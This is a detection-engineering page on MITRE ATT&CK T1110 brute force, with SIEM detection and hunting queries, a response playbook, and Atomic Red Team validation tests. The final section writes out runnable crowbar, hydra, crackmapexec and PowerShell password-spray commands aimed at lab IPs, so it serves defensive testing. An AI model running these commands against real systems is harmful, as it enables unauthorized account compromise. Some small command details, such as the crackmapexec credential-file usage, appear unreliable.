Brute Force
Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Threat actors including Fox Kitten, APT38, APT41, OilRig, and Turla have used brute force techniques against RDP, SSH, SMB, and web services.
What is T1110 Brute Force?
Brute Force (T1110) maps to the Credential Access tactic — the adversary is trying to steal account names and passwords in MITRE ATT&CK.
This page provides production-ready detection logic for Brute Force, covering the data sources and telemetry it touches: Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication, Windows Security Event Log. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Credential Access
- Technique
- T1110 Brute Force
- Canonical reference
- https://attack.mitre.org/techniques/T1110/
// Brute Force Detection — Multiple failed logons followed by success, or high-volume failures
// Part 1: Windows Security Event failed logons (Event ID 4625)
let FailedLogonThreshold = 10;
let TimeWindowMinutes = 10;
let BruteForceAccounts =
SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 4625
| where LogonType in (3, 10) // Network and RemoteInteractive
| summarize FailedCount = count(),
TargetAccounts = dcount(TargetAccount),
TargetAccountList = make_set(TargetAccount, 20),
FirstFailure = min(TimeGenerated),
LastFailure = max(TimeGenerated)
by IpAddress, Computer, bin(TimeGenerated, TimeWindowMinutes * 1m)
| where FailedCount >= FailedLogonThreshold;
// Part 2: Enrich with successful logon after failures (compromise indicator)
let SuccessAfterFailure =
SecurityEvent
| where TimeGenerated > ago(24h)
| where EventID == 4624
| where LogonType in (3, 10)
| project SuccessTime = TimeGenerated, IpAddress, TargetAccount, Computer;
BruteForceAccounts
| join kind=leftouter (
SuccessAfterFailure
) on IpAddress, Computer
| extend SuccessAfterBruteForce = isnotempty(SuccessTime) and SuccessTime > LastFailure
| extend Severity = case(
SuccessAfterBruteForce == true, "Critical",
TargetAccounts > 5, "High", // Password spray pattern
FailedCount >= 50, "High",
"Medium"
)
| project FirstFailure, LastFailure, Computer, IpAddress, FailedCount, TargetAccounts,
TargetAccountList, SuccessAfterBruteForce, SuccessTime, Severity
| sort by SuccessAfterBruteForce desc, FailedCount desc Detects brute force credential attacks using Windows Security Event ID 4625 (failed logon) with configurable thresholds. Identifies both vertical brute force (many attempts against one account) and horizontal password spray (few attempts across many accounts) by tracking unique target account counts. Enriches results with Event ID 4624 (successful logon) to flag the critical case where brute force succeeded. LogonType 3 (Network) and 10 (RemoteInteractive/RDP) are targeted as the most common brute force vectors. Severity is elevated to Critical when a successful logon follows a burst of failures from the same source.
Data Sources
Required Tables
False Positives
- Misconfigured service accounts with expired or recently changed passwords generating automatic logon failures in batch
- Legitimate penetration testing or red team exercises using tools like Hydra, Medusa, or CrackMapExec against authorized targets
- Users who forget their password and repeatedly attempt login before resetting, particularly after travel or long absence
- Load balancers or multi-hop proxies causing multiple logon attempts to appear from a single source IP
- Password manager applications failing to update cached credentials after a password rotation, generating repeated failures
Sigma rule & cross-platform mapping
The detection logic for Brute Force (T1110) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1110
References (9)
- https://attack.mitre.org/techniques/T1110/
- https://www.microsoft.com/en-us/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/
- https://learn.microsoft.com/en-us/defender-for-identity/compromised-credentials-alerts
- https://learn.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-sign-ins-error-codes
- https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110/T1110.md
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security
- https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-foreign-threat-actor-conducting-large-scale-spear-phishing-campaign-with-rdp-attachments.pdf
- https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1RDP Brute Force Simulation with Crowbar
Expected signal: On the target Windows host: Security Event ID 4625 (LogonType=10, RemoteInteractive) for each failed attempt, with IpAddress showing the attacker IP. If lockout policy is enabled and threshold exceeded: Event ID 4740 (account locked out). Network logs: multiple TCP connections to port 3389 from attacker IP in rapid succession.
- Test 2SSH Brute Force with Hydra
Expected signal: On the target Linux host: /var/log/auth.log entries 'Failed password for root from <attacker-ip> port <port> ssh2'. If using auditd: type=USER_AUTH msg entries with res=failed. Sysmon for Linux (if deployed): Event ID 3 (network connection) on the attacker side. SIEM via Syslog forwarder: linux_secure sourcetype or syslog with 'Failed password' pattern.
- Test 3Active Directory Password Spray with PowerShell
Expected signal: On Domain Controller: Security Event ID 4625 (LogonType=3, Network) for each failed account, SubStatus 0xC000006D (wrong password) or 0xC000006A (wrong password for correct username). Caller IP address will be the workstation running the spray. Security Event ID 4771 (Kerberos pre-auth failure) if using Kerberos authentication. Timing will show evenly spaced failures 500ms apart — distinctive automated tool pattern.
- Test 4NTLM Brute Force via SMB with CrackMapExec
Expected signal: Target Windows host: Security Event ID 4625 (LogonType=3, Network, AuthenticationPackageName=NTLM) for each failed credential. Domain Controller: Security Event ID 4776 (NTLM authentication attempt, error code 0xC000006A for wrong password) with Workstation field showing attacker hostname. Network: multiple TCP connections to port 445 (SMB) from attacker IP. CME results show [*] for failure and [+] for success in its output.
Response Playbook
Triage
- Identify the attack pattern from alert metadata: Is DistinctTargets > 5? If yes, this is likely password spraying (one password, many accounts) — a different response than single-account brute force. Password spray is lower-and-slower to evade lockouts.
- Check the source IP address: Is it a known internal IP (service account host, load balancer, jump box)? Use `nslookup <IP>` and check your CMDB. An internal source shifts the response toward insider threat or compromised host rather than external attack.
- Check if any accounts in TargetAccountList have a successful logon (EventID 4624) from the same source IP after the failures. This is the critical indicator — a successful logon after N failures means the attack likely succeeded.
- Review the timing pattern: Are failures evenly spaced (automated tool) or irregular (manual attempt)? Very rapid failures (<1 second intervals) indicate automated tools like Hydra, Ncrack, or Medusa. Slow, evenly-spaced failures (1-2 second intervals) indicate password spraying tools respecting lockout thresholds.
- Check whether targeted accounts are privileged: Run `Get-ADUser <account> -Properties MemberOf` to identify group memberships. Domain admin, service accounts, or IT admin accounts as targets indicate targeted reconnaissance has preceded the brute force.
- Verify if the source IP appears in threat intelligence: Check it against your TI platform or public blocklists. Known Tor exit nodes, VPS providers (Vultr, DigitalOcean, Linode), or prior incident IPs suggest APT or organized threat actor activity.
- Review the LogonType distribution: LogonType 3 (SMB/NetLogon) suggests credential stuffing against file shares or domain auth. LogonType 10 (RDP) indicates direct remote desktop brute force. LogonType 7 (unlock) indicates local workstation targeting.
Containment
- If successful logon detected after brute force: immediately disable the compromised account (`Disable-ADAccount -Identity <username>`), force sign-out of all active sessions (`Revoke-AzureADUserAllRefreshToken` for cloud, `quser /server:<hostname>` then `logoff <sessionid>` for RDP), and isolate the destination host if lateral movement may have occurred.
- If attack is ongoing from an external IP: block the source IP at the perimeter firewall and web application firewall. For cloud environments, create a Conditional Access named location block or Network Security Group deny rule. Document the IP block with the incident ticket number.
- If RDP is the targeted service and it is internet-exposed: immediately restrict RDP access to VPN-only or Tailscale/bastion host using firewall rules. Consider emergency disablement of internet-facing RDP until the incident is resolved.
- If SMB brute force detected: verify that SMB is not exposed to the internet (TCP 445 should be blocked at perimeter). If it is, block immediately. Internally, check if the source host is compromised (lateral movement via Turla/Agrius patterns).
- Enable fine-grained password policy or account lockout for targeted accounts if not already enforced, temporarily lowering the lockout threshold to 5 attempts during the incident. Use `Set-ADFineGrainedPasswordPolicy` or Group Policy Object modification.
- If cloud identity provider (Entra ID / Okta) is targeted: enable MFA step-up challenges, temporarily require phishing-resistant MFA (hardware keys), and review Conditional Access policies to restrict authentication to known locations and compliant devices.
Evidence Collection
- Windows Security Event Log: Event ID 4625 (failed logon) — records SubjectUserName, TargetUserName, LogonType, IpAddress, WorkstationName, FailureReason (SubStatus code: 0xC000006D = wrong password, 0xC0000234 = account locked out)
- Windows Security Event Log: Event ID 4624 (successful logon) — required to confirm compromise; collect all 4624 events from target systems within the attack window
- Windows Security Event Log: Event ID 4740 (account lockout) — generated on the DC when an account locks out; contains the Caller Computer Name that triggered the lockout
- Windows Security Event Log: Event ID 4771 (Kerberos pre-authentication failure) — for domain accounts, provides richer details than 4625 including the client IP and failure code
- Windows Security Event Log: Event ID 4776 (NTLM authentication attempt) — records workstation and domain for NTLM-based brute force against the domain controller
- Network logs: Firewall/NSG/proxy logs showing connection volume from attacker IP to ports 445 (SMB), 3389 (RDP), 22 (SSH), 5985/5986 (WinRM), 80/443 (web app) during the attack window
- EDR telemetry: On the attacking host (if internal), collect process creation events showing brute force tools (hydra.exe, ncrack.exe, crowbar.exe, sprayhound.exe, Ruler, MailSniper)
- Active Directory: Run `Search-ADAccount -LockedOut` to get a current list of locked accounts and correlate with attack targets
- Azure AD / Entra ID: Sign-in logs from the Microsoft Entra admin center or via `Get-MgAuditLogSignIn` filtering for status.errorCode 50126 (invalid credentials) from the attacker IP
Escalation Criteria
- ! Successful logon (Event ID 4624) detected from the same source IP within the attack window — treat as confirmed account compromise and escalate to Incident Response immediately
- ! Targeted accounts include privileged identities (Domain Admins, Enterprise Admins, service accounts with SeBackupPrivilege or SeTcbPrivilege, cloud Global Admins) — potential for immediate privilege escalation
- ! Attack source is an internal IP address — indicates a compromised internal host being used for lateral movement or credential spraying within the network perimeter
- ! Attack volume exceeds 1,000 failed logons in 10 minutes across multiple systems — indicates automated tool, coordinated attack, or worm-like behavior (Chaos, Kinsing patterns)
- ! Password spray pattern detected targeting more than 50 unique accounts — indicates the attacker has enumerated your Active Directory user list (via LDAP/Kerberos enumeration) and is conducting a targeted campaign
- ! Brute force activity correlated with prior alerts: if the source IP or targeted accounts appear in recent T1087 (Account Discovery), T1046 (Network Scanning), or T1078 (Valid Accounts) alerts, escalate as part of a larger intrusion chain
Investigation Guide
Forensic Artifacts
- >
Windows Event Log: Security.evtx on domain controllers — contains 4625, 4624, 4740, 4771, 4776 events. Location: C:\Windows\System32\winevt\Logs\Security.evtx - >
Windows Event Log: Security.evtx on targeted member servers — 4625 events from remote logon attempts recorded locally on the target - >
Active Directory: bad password count attribute — `Get-ADUser <user> -Properties BadPwdCount, BadPasswordTime, LockedOut, LockoutTime` shows current lockout state - >
Active Directory: LastBadPasswordAttempt attribute — timestamp of the most recent failed logon attempt for any AD account - >
IIS/Apache/Nginx logs: For web application brute force, logs contain source IP, request URL (e.g., /wp-login.php, /admin, /owa/auth/logon.aspx), HTTP status codes (401, 403), and User-Agent strings from brute force tools - >
SSH logs (Linux): /var/log/auth.log or /var/log/secure — `Failed password for <user> from <IP>` entries; `grep 'Failed password' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn` shows top attacking IPs - >
Firewall/NSG flow logs: High connection volume to authentication ports (22, 3389, 445, 5985) from a single source IP is a strong network-level indicator of automated brute force - >
NetFlow/IPFIX data: Sustained high-frequency TCP SYN packets to authentication ports from a single source, particularly with consistent inter-packet timing, indicates automated tooling - >
Memory forensics (if host compromised): Brute force tools left in process list or memory — image using winpmem or avml, analyze with Volatility for process artifacts
Tuning Guidance
The primary tuning challenge for brute force detection is distinguishing automated attacks from legitimate failure bursts. Start by establishing a baseline of normal authentication failure rates per IP and per account over a 30-day window using `percentile(FailedCount, 95)` — this gives you an environment-specific threshold better than the static value of 10. For service accounts, failures are almost always misconfiguration: build an allowlist of known service account hostnames and their expected source IPs, and exclude those host+account+IP tuples from the main detection. For password spray specifically, tune UniqueTargets threshold based on your directory size — in a 500-user org, 20 unique targets is suspicious; in a 50,000-user org, you may need 100. For the lockout-aware attacker (staying under 3 attempts per account), the slow-and-low hunting query is more effective than the main detection — schedule it as a daily hunt rather than a real-time alert. For cloud environments using Entra ID, leverage Conditional Access sign-in risk policies to automatically block high-risk sign-ins in parallel with SIEM detection. Always correlate brute force source IPs with other recent alerts — a source IP that also appeared in network scanning alerts (T1046) or external reconnaissance indicators indicates a coordinated intrusion campaign rather than opportunistic automated scanning.
Hunting Queries
Hunts for slow-and-low password spray attacks that stay under account lockout thresholds by attempting no more than 2-3 passwords per account. These attacks spread attempts across many accounts and multiple hours to avoid triggering lockout-based detection. Fox Kitten and OilRig groups have used this pattern. Key indicator: high unique target count with low attempts-per-target ratio spread across multiple hours.
// Hunt: Slow-and-low password spray staying under lockout threshold
// Detects attackers who spray 1-3 attempts per account across many accounts over hours
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4625
| where LogonType in (3, 10)
| summarize
AttemptCount = count(),
UniqueTargets = dcount(TargetAccount),
UniqueHours = dcount(bin(TimeGenerated, 1h)),
TargetList = make_set(TargetAccount, 30),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by IpAddress
| where UniqueTargets >= 10
| where AttemptCount <= UniqueTargets * 3 // Max 3 attempts per account — staying under lockout
| where UniqueHours >= 2 // Spread over multiple hours
| extend AttemptsPerAccount = round(todouble(AttemptCount) / UniqueTargets, 1)
| project IpAddress, UniqueTargets, AttemptCount, AttemptsPerAccount, UniqueHours, FirstSeen, LastSeen, TargetList
| sort by UniqueTargets desc index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 LogonType IN (3, 10)
| bin _time span=1h
| stats
count as AttemptCount,
dc(TargetUserName) as UniqueTargets,
values(TargetUserName) as TargetList
by IpAddress, _time
| stats
sum(AttemptCount) as TotalAttempts,
max(UniqueTargets) as MaxTargetsPerHour,
dc(_time) as UniqueHours,
values(TargetList) as AllTargets
by IpAddress
| where MaxTargetsPerHour >= 5
| where UniqueHours >= 2
| eval AttemptsPerTarget=round(TotalAttempts/MaxTargetsPerHour, 1)
| where AttemptsPerTarget <= 3
| sort - MaxTargetsPerHour Hunts for the most critical brute force outcome: a successful logon from an IP address that previously generated authentication failures. This catch-all query does not require the success to immediately follow the failures — it identifies any successful logon from an IP with a brute force history within 7 days. APT38 and APT41 have used prolonged, multi-day brute force campaigns where success may be delayed.
// Hunt: Brute force followed by successful logon to sensitive resources
// Focus on cases where the attacker succeeded and then accessed file shares, admin tools, or sensitive paths
let BruteForceIPs =
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4625
| summarize FailCount = count() by IpAddress, bin(TimeGenerated, 10m)
| where FailCount >= 5
| distinct IpAddress;
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 4624
| where IpAddress in (BruteForceIPs)
| where LogonType in (3, 10)
| project
TimeGenerated,
IpAddress,
TargetAccount,
Computer,
LogonType,
LogonProcessName,
AuthenticationPackageName
| sort by TimeGenerated desc index=wineventlog sourcetype="WinEventLog:Security" EventCode=4625 LogonType IN (3, 10)
| bin _time span=10m
| stats count as FailCount by IpAddress, _time
| where FailCount >= 5
| fields IpAddress
| join type=inner IpAddress [
search index=wineventlog sourcetype="WinEventLog:Security" EventCode=4624 LogonType IN (3, 10)
| table _time, IpAddress, TargetUserName, ComputerName, LogonType, LogonProcessName, AuthenticationPackageName
]
| sort - _time Hunts for brute force attacks against Microsoft Entra ID (Azure AD) using SigninLogs. Targets specific error codes that indicate credential failures (50126: invalid password, 50053: account locked, 50055: expired password, 70008: expired refresh token). This covers cloud-only attacks that never generate on-premises Windows Security Events, as seen in campaigns targeting Microsoft 365 and Azure tenants. Entra ID is a primary target for Pawn Storm/APT28 and HEXANE threat groups.
// Hunt: Brute force against Entra ID / Azure AD using SigninLogs
// Detects credential stuffing and spray against cloud identities
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType in (50126, 50053, 50055, 50056, 50057, 50064, 50076, 50079, 50105, 70008, 81016)
// 50126=invalid creds, 50053=locked, 50055=expired pwd, 50064=credential validation failure
| summarize
FailedAttempts = count(),
UniqueUsers = dcount(UserPrincipalName),
UniqueApps = dcount(AppDisplayName),
ResultCodes = make_set(ResultType),
UserList = make_set(UserPrincipalName, 20),
FirstAttempt = min(TimeGenerated),
LastAttempt = max(TimeGenerated)
by IPAddress, bin(TimeGenerated, 10m)
| where FailedAttempts >= 10 or UniqueUsers >= 5
| extend AttackPattern = case(
UniqueUsers >= 5 and FailedAttempts <= UniqueUsers * 3, "Cloud Password Spray",
UniqueUsers <= 2 and FailedAttempts >= 20, "Cloud Account Brute Force",
"Cloud Credential Stuffing")
| project FirstAttempt, LastAttempt, IPAddress, FailedAttempts, UniqueUsers, AttackPattern, UserList, ResultCodes
| sort by UniqueUsers desc, FailedAttempts desc index=azure sourcetype="azure:aad:signin" (status.errorCode=50126 OR status.errorCode=50053 OR status.errorCode=50055 OR status.errorCode=50056 OR status.errorCode=70008)
| bin _time span=10m
| stats
count as FailedAttempts,
dc(userPrincipalName) as UniqueUsers,
values(userPrincipalName) as UserList,
values(status.errorCode) as ErrorCodes
by ipAddress, _time
| where FailedAttempts >= 10 OR UniqueUsers >= 5
| eval AttackPattern=case(
UniqueUsers >= 5 AND FailedAttempts <= UniqueUsers * 3, "Cloud Password Spray",
UniqueUsers <= 2 AND FailedAttempts >= 20, "Cloud Account Brute Force",
true(), "Cloud Credential Stuffing")
| table _time, ipAddress, FailedAttempts, UniqueUsers, AttackPattern, UserList, ErrorCodes
| sort - UniqueUsers, - FailedAttempts Atomic Red Team Tests
Simulates an RDP brute force attack using Crowbar against a local or lab target. Crowbar is an open-source brute force tool used by multiple threat groups (Fox Kitten, DarkVishnya) specifically designed for RDP, SSH, and VNC. This test generates Windows Security Event ID 4625 (LogonType 10) failures on the target host and 4740 lockout events if lockout policy is enabled. Run only against lab systems you own.
Command
# Install crowbar on attacker Kali/Ubuntu system
pip3 install crowbar
# Create a small password list for testing
echo -e 'Password1\nWelcome1\nSummer2024!' > /tmp/test-passwords.txt
# Run RDP brute force against lab target (replace 192.168.1.100 with your lab target)
crowbar -b rdp -s 192.168.1.100/32 -u labadmin -C /tmp/test-passwords.txt -n 1
# Cleanup
rm /tmp/test-passwords.txt Cleanup
rm -f /tmp/test-passwords.txt Expected Telemetry
On the target Windows host: Security Event ID 4625 (LogonType=10, RemoteInteractive) for each failed attempt, with IpAddress showing the attacker IP. If lockout policy is enabled and threshold exceeded: Event ID 4740 (account locked out). Network logs: multiple TCP connections to port 3389 from attacker IP in rapid succession.
Expected Detection
Alert fires when FailedCount >= 10 in a 10-minute window from the attacker IP. KQL: BruteForceAccounts table populated with attacker IP, Computer=target, LogonType=10. SPL: AttackPattern='Account Brute Force', RiskScore >= 60. If passwords exhausted without success, SuccessAfterBruteForce=false.
Simulates SSH credential brute force using Hydra, replicating the behavior of malware families Chaos and Kinsing that brute force SSH for initial access to Linux hosts. Generates failed authentication entries in /var/log/auth.log on the target and Syslog events collectible by SIEM. Run only against lab systems you own.
Command
# Install hydra if not present
sudo apt-get install -y hydra
# Create small test wordlist
echo -e 'password\nPassword1\nroot\nadmin123' > /tmp/ssh-passwords.txt
# Brute force SSH against lab target (replace 192.168.1.101 with your lab target)
hydra -l root -P /tmp/ssh-passwords.txt ssh://192.168.1.101 -t 4 -f
# Cleanup
rm /tmp/ssh-passwords.txt Cleanup
rm -f /tmp/ssh-passwords.txt Expected Telemetry
On the target Linux host: /var/log/auth.log entries 'Failed password for root from <attacker-ip> port <port> ssh2'. If using auditd: type=USER_AUTH msg entries with res=failed. Sysmon for Linux (if deployed): Event ID 3 (network connection) on the attacker side. SIEM via Syslog forwarder: linux_secure sourcetype or syslog with 'Failed password' pattern.
Expected Detection
SIEM alert on >10 'Failed password' events from same source IP within 10 minutes. SPL query using `sourcetype=linux_secure` or `sourcetype=syslog` with `Failed password` keyword: `index=linux sourcetype=syslog "Failed password" | stats count by src_ip | where count >= 10`. KQL using Syslog table: `Syslog | where SyslogMessage contains "Failed password" | summarize count() by HostIP, bin(TimeGenerated, 10m) | where count_ >= 10`.
Simulates a low-and-slow password spray attack against Active Directory accounts using native PowerShell. This technique — used by APT groups including APT41 and OilRig — tests one or two common passwords against many accounts to stay under lockout thresholds. Generates Event ID 4625 (LogonType=3) on domain controllers for each failed attempt. Run only in a lab AD environment with test accounts.
Command
# Password spray using PowerShell DirectoryServices — generates real logon failures
# Create test accounts list (replace with your lab account names)
$accounts = @('testuser1','testuser2','testuser3','testuser4','testuser5')
$domain = $env:USERDOMAIN
$password = 'Winter2024!' # Common spray password — change for your lab
foreach ($account in $accounts) {
try {
$cred = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$domain", $account, $password)
$null = $cred.distinguishedName
Write-Host "[SUCCESS] $account"
} catch {
Write-Host "[FAIL] $account"
}
Start-Sleep -Milliseconds 500 # Slow the spray to mimic real attacker pacing
} Expected Telemetry
On Domain Controller: Security Event ID 4625 (LogonType=3, Network) for each failed account, SubStatus 0xC000006D (wrong password) or 0xC000006A (wrong password for correct username). Caller IP address will be the workstation running the spray. Security Event ID 4771 (Kerberos pre-auth failure) if using Kerberos authentication. Timing will show evenly spaced failures 500ms apart — distinctive automated tool pattern.
Expected Detection
Alert fires when 5+ unique target accounts generate failures from the same source IP within 10 minutes. KQL: TargetAccounts >= 5, AttackPattern='Password Spray' in BruteForceAccounts. SPL: AttackPattern='Password Spray', RiskScore >= 85 when combined with high DistinctTargets count.
Simulates NTLM credential brute force over SMB using CrackMapExec (CME), replicating techniques used by Agrius (SMB brute force), Turla (net use with password lists), and DarkVishnya. CrackMapExec is widely used by red teams and threat actors for credential testing across Windows networks. Generates Event ID 4625 (LogonType=3) with NTLM authentication package and Event ID 4776 (NTLM validation attempt) on domain controllers.
Command
# Install CrackMapExec (Kali has it pre-installed)
pipx install crackmapexec
# Create small test credential list
echo 'labadmin:Password1' > /tmp/creds.txt
echo 'labadmin:Welcome123' >> /tmp/creds.txt
echo 'labadmin:Summer2024' >> /tmp/creds.txt
# Test SMB authentication against lab target (replace IP with your lab target)
crackmapexec smb 192.168.1.100 -u labadmin -p /tmp/creds.txt
# Cleanup
rm /tmp/creds.txt Cleanup
rm -f /tmp/creds.txt Expected Telemetry
Target Windows host: Security Event ID 4625 (LogonType=3, Network, AuthenticationPackageName=NTLM) for each failed credential. Domain Controller: Security Event ID 4776 (NTLM authentication attempt, error code 0xC000006A for wrong password) with Workstation field showing attacker hostname. Network: multiple TCP connections to port 445 (SMB) from attacker IP. CME results show [*] for failure and [+] for success in its output.
Expected Detection
Alert fires on >= 10 failed logons (EventID 4625, LogonType=3, NTLM) from the attacker IP within 10 minutes. KQL: BruteForceAccounts populated with target Computer and attacker IpAddress. SPL: FailedCount >= 10, AttackPattern='Account Brute Force'. Security Event 4776 on DC provides additional correlation point confirming NTLM-based attack vector.